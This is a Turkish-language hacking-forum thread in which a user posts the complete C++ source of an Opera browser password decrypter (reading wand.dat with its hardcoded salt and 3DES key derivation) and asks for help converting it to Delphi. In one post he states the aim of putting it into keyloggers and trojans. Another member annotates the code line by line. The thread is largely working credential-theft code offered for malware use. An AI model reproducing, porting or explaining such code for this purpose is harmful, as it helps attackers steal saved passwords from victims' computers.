folder Tahribat.com Forumları
linefolder C - C++
linefolder [ YARDIM ] Opera Password Decrypter



[ YARDIM ] Opera Password Decrypter

  1. KısayolKısayol reportŞikayet pmÖzel Mesaj
    wh0
    wh0's avatar
    Kayıt Tarihi: 21/Temmuz/2008
    Homo

    // sna@reteam.org - 6th of April 2005


    #include <cstdio>
    #include <iostream>
    #include <memory>

    #include "md5.h"
    #include "des.h"

     
    int main(int argc, char **argv)
    {
     if(argc != 2)
     {
      std::cout << "Usage: unwand <opera wand file>" << std::endl;
      return 1;
     }

     FILE *fdWand = fopen(argv[1], "rb");

     if(NULL == fdWand)
     {
      perror("Failed to open file");
      return 1;
     }

     fseek(fdWand, 0, SEEK_END);
     unsigned long fileSize = ftell(fdWand);

     unsigned char *wandData = (unsigned char *)malloc(fileSize);

     if(NULL == wandData)
     {
      fclose(fdWand);
      perror("Memory allocation failed");
      return 1;
     }

     rewind(fdWand);
     fread(wandData, fileSize, 1, fdWand);
     fclose(fdWand);

     unsigned long wandOffset = 0;

     //
     // main loop, find and process encrypted blocks
     //

     while(wandOffset < fileSize)
     {
      // find key length field at start of block
      unsigned char *wandKey = (unsigned char *)
      memchr(wandData + wandOffset, DES_KEY_SZ, fileSize - wandOffset);

      if(NULL == wandKey)
      {
      break;
      }

      wandOffset = ++wandKey - wandData;

      // create pointers to length fields
      unsigned char *blockLengthPtr = wandKey - 8;
      unsigned char *dataLengthPtr = wandKey + DES_KEY_SZ;

      if(blockLengthPtr < wandData || dataLengthPtr > wandData + fileSize)
      {
      continue;
      }

      // convert big-endian numbers to native
      unsigned long
      blockLength = *blockLengthPtr++ << 24;
      blockLength |= *blockLengthPtr++ << 16;
      blockLength |= *blockLengthPtr++ << 8;
      blockLength |= *blockLengthPtr;

      unsigned long
      dataLength = *dataLengthPtr++ << 24;
      dataLength |= *dataLengthPtr++ << 16;
      dataLength |= *dataLengthPtr++ << 8;
      dataLength |= *dataLengthPtr;

      // as discussed in the article
      if(blockLength != dataLength + DES_KEY_SZ + 4 + 4)
      {
      continue;
      }

      // perform basic sanity checks on data length
      if(dataLength > fileSize - (wandOffset + DES_KEY_SZ + 4)
      || dataLength < 8 || dataLength % 8 != 0)
      {
      continue;
      }

      unsigned char
      hashSignature1[MD5_DIGEST_LENGTH],
      hashSignature2[MD5_DIGEST_LENGTH],
      tmpBuffer[256];

      //
      // hashing of (salt, key), (hash, salt, key)
      //

      memcpy(tmpBuffer, opera_salt, sizeof(opera_salt));
      memcpy(tmpBuffer + sizeof(opera_salt), wandKey, DES_KEY_SZ);

      MD5(tmpBuffer, sizeof(opera_salt) + DES_KEY_SZ, hashSignature1);

      memcpy(tmpBuffer, hashSignature1, sizeof(hashSignature1));
      memcpy(tmpBuffer + sizeof(hashSignature1),
      opera_salt, sizeof(opera_salt));

      memcpy(tmpBuffer + sizeof(hashSignature1) + 
      sizeof(opera_salt), wandKey, DES_KEY_SZ);

      MD5(tmpBuffer, sizeof(hashSignature1) +
      sizeof(opera_salt) + DES_KEY_SZ, hashSignature2);

      //
      // schedule keys. key material from hashes
      //

      DES_key_schedule key_schedule1, key_schedule2, key_schedule3;

      DES_set_key_unchecked((const_DES_cblock *)&hashSignature1[0],
      &key_schedule1);

      DES_set_key_unchecked((const_DES_cblock *)&hashSignature1[8],
      &key_schedule2);

      DES_set_key_unchecked((const_DES_cblock *)&hashSignature2[0],
      &key_schedule3);

      DES_cblock iVector;
      memcpy(iVector, &hashSignature2[8], sizeof(DES_cblock));

      unsigned char *cryptoData = wandKey + DES_KEY_SZ + 4;

      //
      // decrypt wand data in place using 3DES-CBC
      //

      DES_ede3_cbc_encrypt(cryptoData, cryptoData, dataLength,
      &key_schedule1, &key_schedule2, &key_schedule3, &iVector, 0);

      if(0x00 == *cryptoData || 0x08 == *cryptoData)
      {
      std::wcout << L"<null>" << std::endl;
      }
      else
      {
      // remove padding (data padded up to next block)
      unsigned char *padding = cryptoData + dataLength - 1;
      memset(padding - (*padding - 1), 0x00, *padding);

      std::wcout << (wchar_t *)cryptoData << std::endl;
      }

      wandOffset = wandOffset + DES_KEY_SZ + 4 + dataLength;
     }

     free(wandData);
     return 0;
    }

     

    _________ _____________________________________________________________________________________________________________________

     

    Arkadaslar benim amacim bu kodu delphiye çevirmek

    yardimci olabilirmisiniz??? 

     

    Programin Orjinal Kodunu buradan indirebilirsiniz : http://up-file.com/download/24df4d00c0029f56ebfa130af77e9cd0b

     

     


    🏴‍☠️Hi'dan gelen varır Who'ya, Hi'da onun adıdır Who'da...
  2. KısayolKısayol reportŞikayet pmÖzel Mesaj
    wh0
    wh0's avatar
    Kayıt Tarihi: 21/Temmuz/2008
    Homo

    pardon eksk yapistirmisim

     

    orjinal kod :

     

    // sna@reteam.org - 6th of April 2005


    #include <cstdio>
    #include <iostream>
    #include <memory>

    #include "md5.h"
    #include "des.h"

    const unsigned char opera_salt[11] =
    {
     0x83, 0x7D, 0xFC, 0x0F, 0x8E, 0xB3, 0xE8, 0x69, 0x73, 0xAF, 0xFF
    };

    int main(int argc, char **argv)
    {
     if(argc != 2)
     {
      std::cout << "Usage: unwand <opera wand file>" << std::endl;
      return 1;
     }

     FILE *fdWand = fopen(argv[1], "rb");

     if(NULL == fdWand)
     {
      perror("Failed to open file");
      return 1;
     }

     fseek(fdWand, 0, SEEK_END);
     unsigned long fileSize = ftell(fdWand);

     unsigned char *wandData = (unsigned char *)malloc(fileSize);

     if(NULL == wandData)
     {
      fclose(fdWand);
      perror("Memory allocation failed");
      return 1;
     }

     rewind(fdWand);
     fread(wandData, fileSize, 1, fdWand);
     fclose(fdWand);

     unsigned long wandOffset = 0;

     //
     // main loop, find and process encrypted blocks
     //

     while(wandOffset < fileSize)
     {
      // find key length field at start of block
      unsigned char *wandKey = (unsigned char *)
      memchr(wandData + wandOffset, DES_KEY_SZ, fileSize - wandOffset);

      if(NULL == wandKey)
      {
      break;
      }

      wandOffset = ++wandKey - wandData;

      // create pointers to length fields
      unsigned char *blockLengthPtr = wandKey - 8;
      unsigned char *dataLengthPtr = wandKey + DES_KEY_SZ;

      if(blockLengthPtr < wandData || dataLengthPtr > wandData + fileSize)
      {
      continue;
      }

      // convert big-endian numbers to native
      unsigned long
      blockLength = *blockLengthPtr++ << 24;
      blockLength |= *blockLengthPtr++ << 16;
      blockLength |= *blockLengthPtr++ << 8;
      blockLength |= *blockLengthPtr;

      unsigned long
      dataLength = *dataLengthPtr++ << 24;
      dataLength |= *dataLengthPtr++ << 16;
      dataLength |= *dataLengthPtr++ << 8;
      dataLength |= *dataLengthPtr;

      // as discussed in the article
      if(blockLength != dataLength + DES_KEY_SZ + 4 + 4)
      {
      continue;
      }

      // perform basic sanity checks on data length
      if(dataLength > fileSize - (wandOffset + DES_KEY_SZ + 4)
      || dataLength < 8 || dataLength % 8 != 0)
      {
      continue;
      }

      unsigned char
      hashSignature1[MD5_DIGEST_LENGTH],
      hashSignature2[MD5_DIGEST_LENGTH],
      tmpBuffer[256];

      //
      // hashing of (salt, key), (hash, salt, key)
      //

      memcpy(tmpBuffer, opera_salt, sizeof(opera_salt));
      memcpy(tmpBuffer + sizeof(opera_salt), wandKey, DES_KEY_SZ);

      MD5(tmpBuffer, sizeof(opera_salt) + DES_KEY_SZ, hashSignature1);

      memcpy(tmpBuffer, hashSignature1, sizeof(hashSignature1));
      memcpy(tmpBuffer + sizeof(hashSignature1),
      opera_salt, sizeof(opera_salt));

      memcpy(tmpBuffer + sizeof(hashSignature1) +
      sizeof(opera_salt), wandKey, DES_KEY_SZ);

      MD5(tmpBuffer, sizeof(hashSignature1) +
      sizeof(opera_salt) + DES_KEY_SZ, hashSignature2);

      //
      // schedule keys. key material from hashes
      //

      DES_key_schedule key_schedule1, key_schedule2, key_schedule3;

      DES_set_key_unchecked((const_DES_cblock *)&hashSignature1[0],
      &key_schedule1);

      DES_set_key_unchecked((const_DES_cblock *)&hashSignature1[8],
      &key_schedule2);

      DES_set_key_unchecked((const_DES_cblock *)&hashSignature2[0],
      &key_schedule3);

      DES_cblock iVector;
      memcpy(iVector, &hashSignature2[8], sizeof(DES_cblock));

      unsigned char *cryptoData = wandKey + DES_KEY_SZ + 4;

      //
      // decrypt wand data in place using 3DES-CBC
      //

      DES_ede3_cbc_encrypt(cryptoData, cryptoData, dataLength,
      &key_schedule1, &key_schedule2, &key_schedule3, &iVector, 0);

      if(0x00 == *cryptoData || 0x08 == *cryptoData)
      {
      std::wcout << L"<null>" << std::endl;
      }
      else
      {
      // remove padding (data padded up to next block)
      unsigned char *padding = cryptoData + dataLength - 1;
      memset(padding - (*padding - 1), 0x00, *padding);

      std::wcout << (wchar_t *)cryptoData << std::endl;
      }

      wandOffset = wandOffset + DES_KEY_SZ + 4 + dataLength;
     }

     free(wandData);
     return 0;
    }

     

    Yeni Download Link : http://up-file.com/download/29f850986c1b803ff111ccb26b715886c


    🏴‍☠️Hi'dan gelen varır Who'ya, Hi'da onun adıdır Who'da...
  3. KısayolKısayol reportŞikayet pmÖzel Mesaj
    wh0
    wh0's avatar
    Kayıt Tarihi: 21/Temmuz/2008
    Homo

    ____________________________________________________________________________________________________ 

    C++
    ____________________________________________________________________________________________________

    const unsigned char opera_salt[11] =
    {
     0x83, 0x7D, 0xFC, 0x0F, 0x8E, 0xB3, 0xE8, 0x69, 0x73, 0xAF, 0xFF

    };

     

    ____________________________________________________________________________________________________ 

    DELPHI
    ____________________________________________________________________________________________________
    const
    opera_salt : array[0..10] of Byte = ($83, $7D, $FC, $0F, $8E, $B3, $E8, $69, $73, $AF, $FF);

     

     bu sekilde adim adim çevirme işlemi yapabiliriz ancak C++ bilgim yeterli olmadiği için yardima ihtiyacim war...


    🏴‍☠️Hi'dan gelen varır Who'ya, Hi'da onun adıdır Who'da...
  4. KısayolKısayol reportŞikayet pmÖzel Mesaj
    wh0
    wh0's avatar
    Kayıt Tarihi: 21/Temmuz/2008
    Homo

    PC de Kayitli olan Opera Browserine ait şifreler

    C:\Users\test\AppData\Roaming\Opera\Opera\profile\wand.dat 

    bu şifreli dosyada saklaniyor...

    bu kodlari adim adim anlatabilecek bi c++ koderi cikarsa kolaylikla delphiye cevirebiliriz ve keylogger, trojan gibi yazilimlarimizda kullanabiliriz. 

    programci arkadaslarin yardimlarini bekliorum 


    🏴‍☠️Hi'dan gelen varır Who'ya, Hi'da onun adıdır Who'da...
  5. KısayolKısayol reportŞikayet pmÖzel Mesaj
    g2k
    g2k's avatar
    Kayıt Tarihi: 03/Mayıs/2007
    Erkek
    slow down cowboy :|
  6. KısayolKısayol reportŞikayet pmÖzel Mesaj
    wh0
    wh0's avatar
    Kayıt Tarihi: 21/Temmuz/2008
    Homo

    TekBuluT bunu yazdı:
    -----------------------------
    slow down cowboy :|
    -----------------------------

    gereksiz yorum atmayiniz... 


    🏴‍☠️Hi'dan gelen varır Who'ya, Hi'da onun adıdır Who'da...
  7. KısayolKısayol reportŞikayet pmÖzel Mesaj
    guru
    guru's avatar
    Kayıt Tarihi: 30/Mart/2007
    Erkek

    int main(int argc, char **argv)
    {
     if(argc != 2)   //komut satırından çağrılırken en az iki argümana sahip olması gerekliliği ayarlanmış [1. process ismidir.]
     {
      std::cout << "Usage: unwand " << std::endl;
      return 1;
     }

     FILE *fdWand = fopen(argv[1], "rb");   // argüman olarak gösterilen dosya okuma modunda ( binary olarak ) açılmış.

     if(NULL == fdWand)
     {
      perror("Failed to open file");
      return 1;
     }

     fseek(fdWand, 0, SEEK_END);      //dosya göstericisi dosya sonuna konumlandırdı.
     unsigned long fileSize = ftell(fdWand);      //ftell komutu dosya göstericisinin yerini bize verir. Yani burada yaptığı şey dosya boyutunu elde etmek.

     unsigned char *wandData = (unsigned char *)malloc(fileSize);   //dinamik olarak dosya boyutu kadar yer ayırdı.(Heap)

     if(NULL == wandData)
     {
      fclose(fdWand);
      perror("Memory allocation failed");
      return 1;
     }

     rewind(fdWand); //dosya göstericisi tekrar başa alındı.
     fread(wandData, fileSize, 1, fdWand); // dosyayı okudu.
     fclose(fdWand); // dosyayı kapadı.

     unsigned long wandOffset = 0;

     

     delphi bilmiyorum ve uykum geldi.Birazdan yatAcağım için devam edemiyorum. Eğer ki böyle bir açıklama sana yeticekse yarın devam edebilirim.?


    ..
  8. KısayolKısayol reportŞikayet pmÖzel Mesaj
    wh0
    wh0's avatar
    Kayıt Tarihi: 21/Temmuz/2008
    Homo
    cok güzel çok tesekkürler deevam edersen iyi olur müsait zamanlarinda

    🏴‍☠️Hi'dan gelen varır Who'ya, Hi'da onun adıdır Who'da...
  9. KısayolKısayol reportŞikayet pmÖzel Mesaj
    wh0
    wh0's avatar
    Kayıt Tarihi: 21/Temmuz/2008
    Homo
    GrN bGrN bunu yazdı:
    -----------------------------

    int main(int argc, char **argv)
    {
     if(argc != 2)   //komut satırından çağrılırken en az iki argümana sahip olması gerekliliği ayarlanmış [1. process ismidir.]
     {
      std::cout << "Usage: unwand " << std::endl;
      return 1;
     }

     FILE *fdWand = fopen(argv[1], "rb");   // argüman olarak gösterilen dosya okuma modunda ( binary olarak ) açılmış.

     if(NULL == fdWand)
     {
      perror("Failed to open file");
      return 1;
     }

     fseek(fdWand, 0, SEEK_END);      //dosya göstericisi dosya sonuna konumlandırdı.
     unsigned long fileSize = ftell(fdWand);      //ftell komutu dosya göstericisinin yerini bize verir. Yani burada yaptığı şey dosya boyutunu elde etmek.

     unsigned char *wandData = (unsigned char *)malloc(fileSize);   //dinamik olarak dosya boyutu kadar yer ayırdı.(Heap)

     if(NULL == wandData)
     {
      fclose(fdWand);
      perror("Memory allocation failed");
      return 1;
     }

     rewind(fdWand); //dosya göstericisi tekrar başa alındı.
     fread(wandData, fileSize, 1, fdWand); // dosyayı okudu.
     fclose(fdWand); // dosyayı kapadı.

     unsigned long wandOffset = 0;

     

     delphi bilmiyorum ve uykum geldi.Birazdan yatAcağım için devam edemiyorum. Eğer ki böyle bir açıklama sana yeticekse yarın devam edebilirim.?


    ----------------------------------------------------------

     

     

     

     

     rewind(fdWand); //dosya göstericisi tekrar başa alındı.
     fread(wandData, fileSize, 1, fdWand); // dosyayı okudu.
     fclose(fdWand); // dosyayı kapadı.

     

    burada bütün dosyayi okuyup wandData degiskeninemi aktariyor? 

     

    function StringOlarakOku(const DosyaAdi: string): string;
    var
    Dosya: FILE;
    begin
    AssignFile(Dosya, DosyaAdi);
    Reset(Dosya, 1);
    SetLength(result, FileSize(Dosya));
    BlockRead(Dosya, result[1], FileSize(Dosya));
    CloseFile(Dosya);
    end;

     

    wandData : = StringOlarakOku(ParamStr(1));

     


    🏴‍☠️Hi'dan gelen varır Who'ya, Hi'da onun adıdır Who'da...
  10. KısayolKısayol reportŞikayet pmÖzel Mesaj
    guru
    guru's avatar
    Kayıt Tarihi: 30/Mart/2007
    Erkek
     while(wandOffset < fileSize) //wandOffset dosya boyutundan küçükse dön.
     {
      // find key length field at start of block
      unsigned char *wandKey = (unsigned char *)
      memchr(wandData + wandOffset, DES_KEY_SZ, fileSize - wandOffset); //DES_KEY_SZ karakterini arıyor.indexi wandKey' e aktarıyor.

      if(NULL == wandKey) // eğer NULL değer döndüyse döngüden çıkılıyor.
      {
      break;
      }

      wandOffset = ++wandKey - wandData; // wandKey önce 1 arttırılıyor, çıkartma yapılıyor.

      // create pointers to length fields
      unsigned char *blockLengthPtr = wandKey - 8; // gösterici tanımlandı ve wandKey - 8 değeri aktarıldı.
      unsigned char *dataLengthPtr = wandKey + DES_KEY_SZ;// göstericiye wandkey ile DES_KEY_SZ sabitinin toplamı atılıyor.

      if(blockLengthPtr < wandData || dataLengthPtr > wandData + fileSize) // eğer koşul sağlanırsa döngünün geri kalanını işleme ancak devam et.
      {
      continue;
      }

      // convert big-endian numbers to native
      unsigned long
      blockLength = *blockLengthPtr++ << 24; //blockLengthPtr adresindeki değeri 24 bit sola kaydırdıktan sonra değeri bir arttırılıyor.
      blockLength |= *blockLengthPtr++ << 16;//aynı şekilde 16 bit kaydırılıyor ancak yanlızca aktarma değil bitsel veya işlemi uygulanıyor.
      blockLength |= *blockLengthPtr++ << 8; //yukarıdaki ile aynı
      blockLength |= *blockLengthPtr;

      unsigned long
      dataLength = *dataLengthPtr++ << 24; // yukarıdaki atamalardan bi farkı yok.
      dataLength |= *dataLengthPtr++ << 16;
      dataLength |= *dataLengthPtr++ << 8;
      dataLength |= *dataLengthPtr;

      // as discussed in the article
      if(blockLength != dataLength + DES_KEY_SZ + 4 + 4) // koşul sağlanırsa aşağıyı işleme devam et.
      {
      continue;
      }

    ..
  11. KısayolKısayol reportŞikayet pmÖzel Mesaj
    guru
    guru's avatar
    Kayıt Tarihi: 30/Mart/2007
    Erkek
    evet bütün dosyayı okuyor

    ..
Toplam Hit: 3839 Toplam Mesaj: 14